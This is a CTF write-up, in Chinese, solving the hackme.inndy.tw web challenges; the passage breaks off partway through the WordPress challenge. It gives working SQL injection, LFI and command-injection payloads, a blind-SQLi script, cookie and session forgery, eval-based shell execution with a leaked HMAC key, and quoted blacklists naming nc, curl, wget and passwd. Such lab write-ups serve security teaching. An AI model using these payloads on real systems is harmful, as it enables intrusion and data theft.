# Hackme CTF web write up
###### tags: `CTF` `write up`
## hide and seek
- F12可以看到Flag
```htmlembedded
<div class="container comic-sans">
<h2 style="color: rgba(255, 255, 255, 0)">FLAG{0h U C meeeeeeeeeeeeeeeeeeee!}</h2>
</div>
```
## guest book
- new一個post之後去Message List看,每個post長這樣

url : `https://hackme.inndy.tw/gb/?mod=read&id=133`
$\Rightarrow$ 推測應該是用id當primary key去資料庫找資料
- 試試有沒有sql injection: 讓url的`id=-1`
:::info
- 如果有讀到東西就會顯示
- 如果沒讀到東西(ex`id=-1`),會顯示`Sorry, no data for this`
:::
- 確認有sqli漏洞之後就可以開始爆欄位數,從`id=-1 union select NULL --`開始
- 最後到`id=-1 union select NULL,NULL,NULL,NULL --`會顯示,代表query共select 4個entry
- 接著確認每個欄位的data type+確認回顯
- ex`id=-1 union select 'a',NULL,NULL,NULL --`
- 如果顯示no data,表示第一個entry不是字串
- 最後`id=-1 union select 'a','b','c','d' --`可以成功顯示,表所有entry都是字串
- 且只有第2-4個entry會有回顯

- 再來確認SQL系統及db名
- 用`database()`,有顯示代表為`MySQL`,且可以得知該表所在的schema為`g8`

:::info
MySQL中有個information_schema的db,其中的tables,columns分別記錄了整個系統上的table及所有的column
:::
- 爆table name
- `id=-1 union select 'a', 'b', 'c' , group_concat(table_name) from information_schema.tables where table_schema='g8' --`
- 得到table name`flag`
- 爆column name
- `id=-1 union select 'a', 'b', 'c' , group_concat(column_name) from information_schema.columns where table_name='flag' --`
- 得到column name `id,flag,padding0,padding1`
- 找flag
- `id=-1 union select 'a', 'b', 'c' , group_concat(flag) from flag --`
- 得到`http://i.giphy.com/3o72FdPiRXBRbBLUc0.gif,FLAG{Y0U_KN0W_SQL_1NJECT10N!!!' or 595342>123123#},http://i.giphy.com/m7BTtLWhjkEJa.gif`
## LFI

### 法I
- 點進introduction後url`https://hackme.inndy.tw/lfi/?page=pages/intro`
$\Rightarrow$ 直接去讀server上的page,因此可能有LFI漏洞
- F12看原始碼
```htmlembedded=
<li class="active">
<a href="?page=pages/index">Home</a>
</li>
<li>
<a href="?page=pages/intro">Introduction</a>
</li>
<!-- There is no flag
<li>
<a href="?page=pages/flag">Flag</a>
</li>
-->
<li>
<a href="?page=pages/login">Login</a>
</li>
```
- 可以知道server上應該有個`pages/flag`
- `https://hackme.inndy.tw/lfi/?page=pages/flag`嘗試讀取

- 每個page的差別都在最底下那行字(`Can you read the flag`)不同
- 用php偽協議`php://filter`讀讀看
- `page=php://filter/convert.base64-encode/resource=pages/flag`

- base64 decode得到`Can you read the flag<?php require('config.php'); ?>?`
- 最後讀`config.php`
- `page=php://filter/convert.base64-encode/resource=pages/config`
- base64 decode得到flag
```php
<?php
$flag = "FLAG{Yoooooo_LFI_g00d_2cXxsXSYP9EVLrIo}";
```
### 法II
- 同上,只是改成讀`pages/login`的src code
- `page=php://filter/convert.base64-encode/resource=pages/login`
- base64 decode
```php=
<?php
require('config.php');
if($_POST['user'] === 'admin' && md5($_POST['pass']) === 'bed128365216c019988915ed3add75fb') {
echo $flag;
} else {
?>
...以下略
```
- 把hash值拿去線上[md5解密](https://www.dcode.fr/md5-hash)
- 得到passw0rd
- 在login頁面username輸入admin,password輸入passw0rd就可以拿到flag
## homepage
- F12看src code,有個奇怪的js
```html=217
<script src="cute.js"></script>
```
- 訪問之後是一堆顏文字
`゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_')...`
- 查了一下顏文字加密,發現應該是AAEncode
- [解密](http://www.atoolbox.net/Tool.php?Id=703)之後才得到正常的js
```javascript=
function print_qrcode(qrcode, color, fill) {
var args = [];
var buff = [];
for (var i = 0; i < qrcode.length; i++) {
var row = qrcode[i];
for (var j = 0; j < qrcode[0].length; j++) {
buff.push("%c\u2588\u2588");
args.push("color:" + ("1" == row[j] ? color : fill));
}
buff.push("\n");
}
args.unshift(buff.join(""));
console.log.apply(console, args);
}
var qrcode = ["11111110001000110011101111111", "10000010111000110100101000001", "10111010100000100100001011101", "10111010010010010001001011101", "10111010111010111010101011101", "10000010101010011001001000001", "11111110101010101010101111111", "000000001011000101101", "1101001100011110101000111011", "1111000111011010110011110001", "1101111000011100101100011001", "110111011111110110110101001", "01011011001100101111111101001", "00100101010101000101110000111", "00011011000101100110011001111", "1010110101010001111101101001",
"00001011110011000111110001111", "0101100100001110100011110001", "10010111100110100010110111011", "0010110110101011011010011101", "10010110010000001010111110111", "0000000011110010110110001111", "1111111010100000101010101111", "10000010000000111000100011101", "10111010001010001000111110011", "1011101010111000001010100111", "10111010001010000111110010001", "1000001011101111111110010101", "1111111011010110010011001101"];
print_qrcode(qrcode, "#333", "#fff");
```
- 拿去console執行之後得到一張QR code

- 掃一下就可以得到flag惹
## ping
- 一進去就可以看到給了server的src code
```php=
...
<?php
$blacklist = [
'flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed',
'apt', 'yum', 'curl', 'wget', 'perl', 'python', 'zip', 'tar', 'php', 'ruby', 'kill',
'passwd', 'shadow', 'root',
'z',
'dir', 'dd', 'df', 'du', 'free', 'tempfile', 'touch', 'tee', 'sha', 'x64', 'g',
'xargs', 'PATH',
'$0', 'proc',
'/', '&', '|', '>', '<', ';', '"', '\'', '\\', "\n"
];
...
function ping($ip) {
global $blacklist;
if(strlen($ip) > 15) {
return 'IP toooooo longgggggggggg';
} else {
foreach($blacklist as $keyword) {
if(strstr($ip, $keyword)) { //是否match $keyword
return "{$keyword} not allowed";
}
}
$ret = [];
exec("ping -c 1 \"{$ip}\" 2>&1", $ret);
//redirect stderr to stdout,put output into $ret
return implode("\n", array_slice($ret, 0, 10));
//array_slice()將$ret從index=0開始取10筆
//implode()將array中的元素串成字串,每個字串用"\n"分隔
}
}
if(!empty($_GET['ip']))
echo htmlentities(ping($_GET['ip']));
else
highlight_file(__FILE__);
?>
```
- server會接收我們傳的字串為`$ip`,並執行`ping -c "{$ip}" 2>&1`,執行結果的output(包含原本output+err msg)放在`$ret`中
- `{}`:執行裡面的東西,因此會把`{$ip}`直接換成我們送的字串
- 目標為讀flag,正常來說如果沒有擋會放`system("cat flag")`,但cat flag皆被擋,而`$ip`是一個字串因此`system()`也會變成字串而非function
:::info
- ‵(backtic)沒有被擋,而php可以使用‵ls‵代替system(ls)
- 常見的讀檔指令有`cat、tac、nl、more、less、head、tail`
- 只有`cat`被擋
- `tac`從最後一行反向顯示
- `nl` = `cat -n` 印出行號
- `more`太長的內容一頁一頁顯示
- `less`跟`more`類似,但可以向上找字串或翻頁
- `head -10`讀前面10行
- `tail -10`讀後面10行
- shell可以用`*`匹配全部或是`?`匹配一個字元
:::
- 先送`‵ls‵`

$\Rightarrow$ 得知有兩個檔案,`flag.php`及`index.php`
- 讀檔 $\rightarrow$ `‵tac f*‵`

## scoreboard
- F12 network看封包,request header中藏了一個x-flag

## login as admin 0
- 用`guest`/`guest`登入之後"You are not admin"
- src code
```php=
...
function safe_filter($str)
{
$strl = strtolower($str);
if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
strstr($strl, 'update') || strstr($strl, 'delete')
) {
return '';
}
return str_replace("'", "\\'", $str);
}
$_POST = array_map(safe_filter, $_POST);
...
if(!empty($_POST['name']) && !empty($_POST['password'])) {
$connection_string = sprintf('mysql:host=%s;dbname=%s;charset=utf8mb4', DB_HOST, DB_NAME);
$db = new PDO($connection_string, DB_USER, DB_PASS);
$sql = sprintf("SELECT * FROM `user` WHERE `user` = '%s' AND `password` = '%s'",
$_POST['name'],
$_POST['password']
);
try {
$query = $db->query($sql);
if($query) {
$user = $query->fetchObject();
} else {
$user = false;
}
} catch(Exception $e) {
$user = false;
}
...
if($user->is_admin) printf("<code>%s</code>, %s", htmlentities($flag1), $where_is_flag2);
```
- 對使用者輸入做了一些filter
- 擋掉`'or 1=1'` $\rightarrow$ `' or 2=2'`
- `'`被轉義變成`\\'` $\rightarrow$ 用`\'`
- username輸入`\' or 2=2 #`,password隨意
```sql
select * from `user` where `user`='//' or 2=2 # AND password=...
```
- 發現可以登入,但說不是admin
- username改成輸入`\' or ‵user‵="admin" #`
```sql
select * from `user` where `user`='//' or `user`="admin" # AND password=...
```

## login as admin 0.1
- 一樣先確認欄位數
- `\' union select NULL,NULL,NULL,NULL#`可以成功登入
- 接著確認data type,`\' union select 1,2,3,4#`的2有回顯,且data type為字串

- 爆出admin的密碼
- `\' union select 1,password,3,4 from user where user="admin"`

看起來也不是密碼
- 找庫名
- `\' union select 1,database(),3,4#`

- 同時確認應該是MySQL
- 找table name
- `\' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="login_as_admin0"#`

- 找h1dden_f14g的column name
- `\' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="h1dden_f14g"#`

- 找flag
- `\' union select 1,group_concat(the_f14g),3,4 from h1dden_f14g#`

## login as admin 1
- src code
```php=
function safe_filter($str)
{
$strl = strtolower($str);
if (strstr($strl, ' ') || strstr($strl, '1=1') || strstr($strl, "''") ||
strstr($strl, 'union select') || strstr($strl, 'select ')
) {
return '';
}
return str_replace("'", "\\'", $str);
}
```
:::info
- 多過濾了<空格> $\rightarrow$ 用`/**/`或是`%20`取代空格
- `union select`跟`select `不能用,但其實都還是可以用`union/**/select`跟`select/**/`繞過
:::
- user輸入`\'/**/union/**/select/**/1,2,3,4#`可以獲得flag

但這次沒有回顯
因為Username變成由POST參數獲得
```javascript
<h3>Hi, <?=htmlentities($_POST['name'])?></h3> //Username is from post arg
```
## login as admin 1.2
- 由上題可知沒有回顯,經過測試之後得知第四個entry為0時會影響是否為admin
- `\'/**/union/**/select/**/1,2,3,0#`登入之後沒有admin權限
- 猜測該欄位就是`$user->isadmin`對應的值,放敘述在裡面,並用登入後是否為admin來判斷true false $\rightarrow$ boolean base
- 猜測schema_name為`login_as_admin1`
- `\'/**/union/**/select/**/1,2,3,database()="login_as_admin1"#`

- 爆table name
- `\'/**/union/**/select/**/1,2,3,ascii(substr(group_concat(table_name),{},1))={}/**/from/**/information_schema.tables/**/where/**/table_schema=database()#`
```python=
table = ""
name = r"\'/**/union/**/select/**/1,2,3,ascii(substr(group_concat(table_name),{},1))={}/**/from/**/information_schema.tables/**/where/**/table_schema=database()#"
for pos in range(1,50):
for char in printable:
post = {'name':name.format(pos,ord(char)), 'password':'123'}
ret = requests.post(url,post).text
if "You are admin!" in ret:
table += char
print(f"[+]table name is {table}")
break
# 0bdb54c98123f5526ccaed982d2006a9,users
```
- 爆column name
```python=
col=""
name = r'\'/**/union/**/select/**/1,2,3,ascii(substr(group_concat(column_name),{},1))={}/**/from/**/information_schema.columns/**/where/**/table_name="0bdb54c98123f5526ccaed982d2006a9"#'
# id,4a391a11cfa831ca740cf8d00782f3a6
```
- 最後爆flag
-
## login as admin 3
- 是否噴flag由`$user['admin']`決定
```javascript=
<h3>Hi, <?=htmlentities($user['name'])?></h3>
<h4><?=sprintf("You %s admin!", $user['admin'] ? "are" : "are not")?></h4>
<?php if($user['admin']) printf("<code>%s</code>", htmlentities($flag)); ?>
```
- `user` cookie
```php=
function set_user($user_data)
{
global $user, $secret;
$user = [$user_data['name'], $user_data['admin']];
$data = json_encode($user);
$sig = hash_hmac('sha512', $data, $secret); //hash_hmac(algo,data,key)
$all = base64_encode(json_encode(['sig' => $sig, 'data' => $data])); //cookie['user']為base64加密後的結果
setcookie('user', $all, time()+3600);
}
```
> 先用`guest`/`guest`登入,找cookie`user`,base64 decode之後得到`{"sig":"75d53f97acd211098a052b305d1caf191436c6d29d1936d947f8fde7733008a3968edaa4b4a68242db8696030505273914ded688d459e8c9225200d729a0b98e","data":"[\"guest\",false]"}`
- data內容
> data[0] => name
> data[1] => admin
```php=
$error = null
function load_user()
{
global $secret, $error;
if(empty($_COOKIE['user'])) {
return null;
}
$unserialized = json_decode(base64_decode($_COOKIE['user']), true);
$r = hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig'];
if(hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig']) {
// !=為弱型別比較,可能繞過
$error = 'Invalid session';
return false;
}
$data = json_decode($unserialized['data'], true);
return [
'name' => $data[0],
'admin' => $data[1]
];
}
```
- login
```php=
require('users_db.php'); // $users
...
$user = load_user();
if(!empty($_POST['name']) && !empty($_POST['password'])) {
$user = false;
foreach($users as $u) {
if($u['name'] === $_POST['name'] && $u['password'] === $_POST['password']) {
// === 無法繞過
set_user($u);
}
}
}
```
- 看起來應該是利用
1. `user`cookie中的`data`與全域變數`$secret`做sha256 hash
2. `user`cookie中的`sig`
之間的弱型別比較來繞過
- 而根據[php comparison table](https://www.php.net/manual/en/types.comparisons.php),`
- `字串==0`會回傳`true`
- 因此讓sig = 0,並讓admin設為true
- `{"sig":0,"data":"[\"guest\",true]"}`
- 記得base64 encode
- 或是寫個php script
```php
<?php
function set_user()
{
$user = ['admin', true];
$data = json_encode($user);
$sig = 0;
$all = base64_encode(json_encode(['sig' => $sig, 'data' => $data]));
return $all;
}
echo set_user();
?>
//$ php -f <file>
//eyJzaWciOjAsImRhdGEiOiJbXCJhZG1pblwiLHRydWVdIn0=
```
- 最後修改cookie,重新整理,就獲得flag了

## login as admin 4
- name=admin, password跟server上的對比
```php=
if($_POST['name'] === 'admin') {
if($_POST['password'] !== $password) {
// show failed message if you input wrong password
header('Location: ./?failed=1');
//向client發送raw http header
//client收到之後會被redirect到"./?failed=1"
//但在每個redirect之後應該加上'exit;'
}
}
```
:::info
問題點: 每個redirect之後應該要加上`exit;`
ie `header(...); exit;`
如果沒有`exit;`,當前的php文件還是會繼續執行下去
ie 雖然redirect到`../login4/?failed=1`
但`../login4/`依然會繼續執行
:::
- 再往下看,發現只要name能夠為admin,就會噴flag
- 因此我們只要能看到**原本頁面的執行結果**即可
```javascript=
<?php if($_POST['name'] === 'admin'): /* login success! */ ?>
<div class="alert alert-success"><code><?=$flag?></code></div>
```
- `$password`無法得知,因此就是要想辦法不要redirect
- 使用`curl` : `curl`本身**不跟蹤重定向**,用`curl -I`request http head時status code會顯示為302
- 如果要跟蹤redirect,再使用`-L`follow redirect
- payload
- `curl -d "name=admin&password=123" https://hackme.inndy.tw/login4/`
- `-d <data>` $\rightarrow$ http post data
## login as admin 6
- src code
```php=
$user = null;
// connect to database
if(!empty($_POST['data'])) {
try {
$data = json_decode($_POST['data'], true);
} catch (Exception $e) {
$data = [];
}
extract($data); //將array中的value賦值給key
if($users[$username] && strcmp($users[$username], $password) == 0) {
$user = $username;
}
}
```
其中`$data`為request時送的參數

:::info
- extract()的問題在於
如果array中,有key跟其他變數名稱相同,就能夠做到修改該變數的值
- ex
```php
$a = 123;
extract(array('a' => 456)); //$a=456
echo $a;
//output : 456
```
:::
- 噴flag條件為`$user='admin'`
- 而`$user`最後賦值的地方在上面第13行`$user=$username`
- `$username`可控
```javascript=
<h4><?=sprintf("You %s admin!", $user == 'admin' ? "are" : "are not")?></h4>
<?php if($user == 'admin') printf("<code>%s</code>", htmlentities($flag)); ?>
```
:::success
1. 讓`$username='admin'`
2. `$users`是個array,原本為db中的帳密值,可從`$users[$username]`找到對應的password
- 因此我們利用`extract()`賦值的特性重寫`$users`,讓`'admin'`對應的value為我們輸入的password
:::
- payload(post參數)
- `name=&password=&data={"username":"admin","password":"123","users":{"admin":"123"}}`
- 或是更簡單的方式(因為如果第12行無法通過,`$user`就不會被賦值為`$username`),因此也可以在`extract()`直接賦值給`$user`
- `name=&password=&data={"user":"admin"}`
## login as admin 7
- 關鍵code
```php=
if($_POST['name'] == 'admin' && md5($_POST['password']) == '00000000000000000000000000000000') {
// admin account is disabled by give a impossible md5 hash
$user = 'admin';
} elseif($_POST['name'] == 'guest' && md5($_POST['password']) == '084e0343a0486ff05530df6c705c8bb4') {
$user = 'guest';
} elseif(isset($_POST['name'])) {
$user = false;
}
```
:::info
可知username為admin,並檢查輸入password的md5 hash值,且都為弱型別比較
- 在php的弱型別比較中,`"000...0"`可能會被識別為字串或是0
- 要找到hash值為`"000...0"`不太可能,因此更可能是讓hash可以被識別為0
- ex `0e123`會被判斷成$0^{123} = 0$
- 因此只要找到hash值為`0e`開頭的密碼即可
- ex md5(240610708) = 0e462097431906509019562988736854
:::
## login as admin 8
- 打開之後發現有兩個奇怪的cookie
- `login8cookie`中的值拿去urldecode之後變成這樣
```json=
O:7:"Session":6:{s:14:"Sessiondebug";b:0;s:19:"Sessiondebug_dump";s:9:"index.php";s:13:"Sessiondata";a:0:{}s:4:"user";s:0:"";s:4:"pass";s:0:"";s:8:"is_admin";b:0;}
```
- 而將上面這串拿去做**sha512**之後就可以得到`login8sha512`中的值
- 關鍵code分析
```php=
require('config.php');
require('session.php');
// class Session { ... }
// sorry, no source code this time. :P
$session = Session::load();
$login_failed = false;
...
if(isset($_POST['name'])) {
$login_failed = !Session::login($_POST['name'], $_POST['password']);
//猜測login()應該就是做hash比較的地方
} else if(isset($_POST['logout'])) {
$session = new Session();
}
$session->save();
```
```javascript=
<?php if($login_failed): ?>
//login()為true -> $login_failed為false才跳到第7行
//所以說,其實name等不等於admin搞不好一點也不重要
<?php if($_POST['name'] === 'admin'): ?> //username
<div class="alert alert-danger">Nice try. Login failed</div>
<?php else: ?>
<div class="alert alert-danger">Login failed</div>
<?php endif; ?>
<?php elseif($session->is_admin): ?> //is_admin要為true才會印flag
<div class="alert alert-success">Hello, admin! Here is your flag: <code><?=$flag?></code></div>
<?php elseif($session->user): ?>
<div class="alert alert-info">Hello, <?=$session->user?>. You are not admin, no flag for you! :P</div>
<?php endif; ?>
<?php if($session->user): ?>
```
- 把`login8cookie`中的
- `s:4:"user";s:0:""`改成`s:4:"user";s:5:"admin"`
- `s:8:"is_admin";b:0`改成`s:8:"is_admin";b:1`
- 然後拿去做sha512
結果

## login as admin 8.1
- 前面發現還有一個debug參數
```php=
if($_GET['debug'] === '1') {
$session->debug();
}
```
但是如果訪問`../?debug=1`會得到Debug mode is not enable

- 而`login8cookie`中還有debug相關的欄位`s:14:"Sessiondebug";b:0`及`s:19:"Sessiondebug_dump"s:9:"index.php"`
- 先嘗試將`s:14:"Sessiondebug";b:0`改為`s:14:"Sessiondebug";b:1`
- 一樣修改`login8cookie`及`login8sha512`之後再次訪問`.../?debug=1`發現可以得到`index.php`的src code

- 因此猜測`login8cookie`中的`Sessiondebug_dump`應該就是控制要dump的原始碼的目標
- 所以最後再修改`s:19:"Sessiondebug_dump"s:9:"index.php"`為`s:19:"Sessiondebug_dump"s:10:"config.php"`就可以看到flag

### 順便看一下`session.php`的code
```php=
<?php
function file_in_web($file)
{
$file = realpath($file);
if(strpos($file, ROOT) !== 0) return false;
return true;
}
class Session {
private $debug;
private $debug_dump;
private $data;
public $user;
public $pass;
public $is_admin;
public static function login($name, $password) {
global $users, $session;
$user = $users[$name];
if($user && $user['password'] === $password) {
$session = new Session($name, $password, $user);
$session->save();
return true;
}
return false;
}
//hash檢查
public static function load() {
$data = $_COOKIE['login8cookie'];
if(hash('sha512', $data) === $_COOKIE['login8sha512']) {
return unserialize($data);
} else {
return new Session();
}
}
public function __construct($user='', $pass='', $data=[]) {
$this->debug = DEBUG_MODE;
$this->debug_dump = 'index.php';
$this->user = $user;
$this->pass = $pass;
$this->is_admin = !!$data['admin'];
$this->data = $data;
}
public function save() {
$data = serialize($this);
$this->setcookie('login8cookie', $data);
$this->setcookie('login8sha512', hash('sha512', $data));
}
private function setcookie($name, $val) {
setcookie($name, $val, time() + 60 * 60 * 24, '/login8', '', true, true);
}
public function debug() {
if($this->debug) {
if(file_in_web($this->debug_dump)) {
highlight_file($this->debug_dump);
} else {
echo 'File out of scope';
}
} else {
echo 'Debug mode is not enabled';
}
exit;
}
}
```
## defuq-manager 1
- 用`guest`/`guest`登入之後可以看到

- cookie中有個`show hidden`,把值改為`no`就會顯示hidden file


## defuq-manager 2
- 另一個hidden file的內容為`Try to login as admin! and you will get flag2`
- 第一個檔案為壓縮檔,下載下來之後一打開就看到`index.php`
```php=
switch ($GLOBALS["action"]) {
...
case "admin":
require "./core/fun_admin.php";
show_admin($GLOBALS["dir"]);
break;
...
```
- 接著去找`/core/fun_admin.php`其中的`show_admin()`
```php=
function show_admin($dir) {
$pwd = (($GLOBALS["permissions"] & 2) == 2);
$admin = (($GLOBALS["permissions"] & 4) == 4);
...
```
- 然後卡住惹QQ,只好再翻翻看
- `/core/login.php`
```php=
require "./core/fun_users.php";
load_users(); //load_users()應該是fun_users.php中的function,
// 名字看起來應該是load所有資料庫中的user
// GLOBALS["users"] = array(array("guest",...))
```
- 接著找`fun_users.php`
```php=
function activate_user($user, $pass) {
$data = find_user($user, $pass);
if ($data == NULL) return false;
$GLOBALS['__SESSION']["s_user"] = $data[0];
$GLOBALS['__SESSION']["s_pass"] = $data[1];
$GLOBALS["home_dir"] = $data[2];
$GLOBALS["home_url"] = $data[3];
$GLOBALS["show_hidden"] = $data[4];
$GLOBALS["no_access"] = $data[5];
$GLOBALS["permissions"] = $data[6]; //發現permissions!!
return true;
//去找find_user()
function &find_user($user, $pass) {
$cnt = count($GLOBALS["users"]);
for ($i = 0;$i < $cnt;++$i) {
if ($user == $GLOBALS["users"][$i][0]) {
//得知$user的資訊應該都存在$GLOBALS["users"]中
if ($pass == NULL || ($pass == $GLOBALS["users"][$i][1] && $GLOBALS["users"][$i][7])) {
return $GLOBALS["users"][$i];
}
}
}
return NULL;
}
//接下來要去找$GLOBALS["users"]的來源,發現前面有個load_users()
function load_users() {
require "./.config/.htusers.php";
}
```
- 再去看`.config/.htusers.php`
```php=
<?php
$GLOBALS["users"] = array(
array(
"guest", //s_user
"084e0343a0486ff05530df6c705c8bb4", //s_pass
"./data/guest", //home_dir
"https://game1.security.ntu.st/data/guest", //home_url
0, //show_hidden
"^.ht", //no_access
1, //permission
1
), //這邊有逗點,代表後面應該還有,只是作者只給了這樣
//所以目標就是要想辦法讀到server上的.htusers.php
);
```
- 想法:既然要讀檔,就先找可以讀檔的operation,`index.php`中有幾種操作可能會讀檔案內容
1. `edit`
2. `copy`
3. `upload`
- 先看`edit`
```php=
case "edit":
require "./core/fun_edit.php";
edit_file($GLOBALS["dir"], $GLOBALS["item"]);
break;
```
- 去看`/core/fun_edit.php`
```php=
function edit_file($dir, $item) {
if (($GLOBALS["permissions"] & 01) != 01) show_error($GLOBALS["error_msg"]["accessfunc"]);
// permission只要=1就可以繼續執行,guest的permission就是1!!
...
```
也真的可以編輯!! 順利讀到guest底下的`index.html`

- url中的`item`為檔名,試試看能不能讀到
`guest/index.html`在下載下來zip中的路徑為`dafuqManager\data\guest`
- 而往前一層也有一個`index.html`,先嘗試讀前一層的這個檔案
$\Rightarrow$ 可以!!

- 最後,`.htusers.php`可以由`/../../.config/.htusers.php`存取到

- 然後`s_pass`拿去[md5 decode](https://hashtoolkit.com/decrypt-hash)就可以得到密碼了
`note: 但我不知道為啥是md5`

how do you turn this on
## defuq-manager 3
- 提示為`Get a shell to find flag3`
- php中跟webshell相關的函式
1. `system()`
2. `exec()`
3. `shell_exec()`
4. `eval()`
5. `‵..‵`
6. ...窩不知道
- 想說用sublime爆搜一波上面這些關鍵字,結果找到`/core/fun_debug.php`裡面可疑的檔掉絕大多數的webshell cmd

- 找`/core/fun_debug.php`出來看
```php=
<?php
function make_command($cmd) {
$hmac = hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]);
return sprintf('%s.%s', base64_encode($cmd), $hmac);
}
function do_debug() {
assert(strlen($GLOBALS['secret_key']) > 40);
$dir = $GLOBALS['__GET']['dir'];
if (strcmp($dir, "magically") || strcmp($dir, "hacker") || strcmp($dir, "admin")) {
//用strcmp比較錯誤會return 0(php5.3之前),讓$dir為array即可繞過
show_error('You are not hacky enough :(');
}
list($cmd, $hmac) = explode('.', $GLOBALS['__GET']['command'], 2); //command.split('.'),limit = 2
$cmd = base64_decode($cmd);
$bad_things = array('system', 'exec', 'popen', 'pcntl_exec', 'proc_open', 'passthru', '`', 'eval', 'assert', 'preg_replace', 'create_function', 'include', 'require', 'curl',);
foreach ($bad_things as $bad) {
if (stristr($cmd, $bad)) { //stristr()忽略大小寫...
die('2bad');
}
}
if (hash_equals(hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]), $hmac)) {
die(eval($cmd));
} else {
show_error('What does the fox say?');
}
}
```
- 另外在`./.config/conf.php`裡面翻到`secret_key`
```php=
$GLOBALS["secret_key"] = 'KHomg4WfVeJNj9q5HFcWr5kc8XzE4PyzB8brEw6pQQyzmIZuRBbwDU7UE6jYjPm3';
```
- 先寫一個script來幫助計算$cmd的hmac跟base64 encode
```php=
<?php
$secret_key = 'KHomg4WfVeJNj9q5HFcWr5kc8XzE4PyzB8brEw6pQQyzmIZuRBbwDU7UE6jYjPm3';
$cmd = $argv[1];
$hmac = hash_hmac('sha256', $cmd, $secret_key);
echo sprintf("%s.%s",base64_encode($cmd),$hmac);
?>
//usage : php -f <file> <cmd>
```
- 因為所有webshell相關的function都被waf
$\Rightarrow$ 採用拼接的方式 `$a=sys;$b=tem;($a.$b)(...);`
- 先執行`ls` $\rightarrow$ `\$a=sys;\$b=tem;(\$a.\$b)(ls);`

- `https://dafuq-manager.hackme.inndy.tw/index.php
?action=debug
&dir[]
&command=JGE9c3lzOyRiPXRlbTsoJGEuJGIpKGxzKTs=.988395ca90f1aeaa120de3b47be8c8223ab851ae36df6db2f72a058118e66090`

- 最後`cat flag3`,結果沒反應,趕快在弄個`ls -la`看一下,結果發現居然是個資料夾

- `cd flag3;ls -la`

`-r--------`代表`flag3`只有檔案擁有者(flag3)才可以讀

- `cd flag3;cat meow.c`,看起來應該可以藉由執行`meow`來讀flag
```c=
int main(int argc, char *argv[]) {
const char *exec = argv[0];
const char *flag = argv[1];
char buffer[4096];
if(argc < 2) {
printf("Usage: %s flag\n", argv[0]);
puts("We have cat to read file, And the meow to cat flag.");
return 0;
}
struct stat S;
if(stat(exec, &S) != 0) {
printf("Can not stat file %s\n", exec);
return 1;
}
uid_t uid = S.st_uid;
gid_t gid = S.st_gid;
setuid(uid);
seteuid(uid);
setgid(gid);
setegid(gid);
int fd = open(flag, O_RDONLY);
if(fd == -1) {
printf("Can not open file %s\n", flag);
return 2;
}
ssize_t readed = read(fd, buffer, sizeof(buffer) - 1); //read flag
if(readed > 0) {
write(1, buffer, readed); //output
}
close(fd);
}
```
- 所以最後,`cd flag3;./meow flag3`

## wordpress 1
- 題目提示為
```
Something strange is hidding in the source code, find it.
Tips: This challenge does not require to exploit any thing, don’t use any scanner.
```
- backup那篇文中的連結可以下載到src code
- 整個src code有夠大,但裡面三個資料夾中的`wp-content`中檔案跟其他比起來少很多,其`index.php`根本沒有code,懷疑有問題的就在這邊

- 其中`languages`跟`themes`應該可以先不考慮,而`upgrade`及`uploads`都是空的
- `plugins`裡面只有兩個檔案,其中`index.php`還是沒有code,`core.php`一打開就知道中了
```php=
//core.php
<?php
/**
* @package f14gPrinter
* @version 3.1415926
*/
/*
Plugin Name: Super f14g Printer
Plugin URI: https://game2.security.ntu.st
Description: This plugin can print f14g1 for you if you know the password!
Author: Inndy Lin
Version: 3.1415926
Author URI: https://inndy.tw
*/
function print_f14g()
{
$h = 'm'.sprintf('%s%d','d',-4+9e0); //$h = md5
if($h($_GET['passw0rd']) === '5ada11fd9c69c78ea65c832dd7f9bbde') {
//md5 decode as "cat flag"
if(wp_get_user_ip() === '127.0.0.1') {
eval(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $h($_GET['passw0rd'].AUTH_KEY), base64_decode('zEFnGVANrtEUTMLVyBusu4pqpHjqhn3X+cCtepGKg89VgIi6KugA+hITeeKIpnQIQM8UZbUkRpuCe/d8Rf5HFQJSawpeHoUg5NtcGam0eeTw+1bnFPT3dcPNB8IekPBDyXTyV44s3yaYMUAXZWthWHEVDFfKSjfTpPmQkB8fp6Go/qytRtiP3LyYmofhOOOV8APh0Pv34VPjCtxcJUpqIw=='), MCRYPT_MODE_CBC, $h($_GET['passw0rd'].AUTH_SALT)));
} else {
die('</head><body><h1>Sorry, Only admin from localhost can get flag');
}
}
}
add_action('wp_head', 'print_f14g');
//wp_head控制<head>...</head>之的標籤內容
//add_action()創建一個action hook,執行`wp_head()`時hook到`print_f14g()`
```

- 嘗試訪問`wp.hackme.inndy.tw?passw0rd=cat%20flag`

- 只有locallhost才能訪問,跟第21行吻合
- 去src code找`wp_get_user_ip()`

```php=
function wp_get_user_ip() {
$ip = $_SERVER['REMOTE_ADDR']; //很難被偽造
if (!empty($_SERVER['HTTP_CLIENT_IP'])) { //不可控
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} //可以用http_x_forwarded_for來指定
return $ip;
}
```
:::success
可以得知`$ip`可由三個server訊息決定
1. `$_SERVER['REMOTE_ADDR']`
- 此訊息由nginx直接pass給php,代表當前與nginx溝通的client ip,因此**無法經由header偽造**
- 如果client是經由proxy跟server溝通,這個值就會是proxy的ip
2. `$_SERVER['HTTP_CLIENT_IP']`
- 可以經由修改http header中的`client-ip`來偽造ip
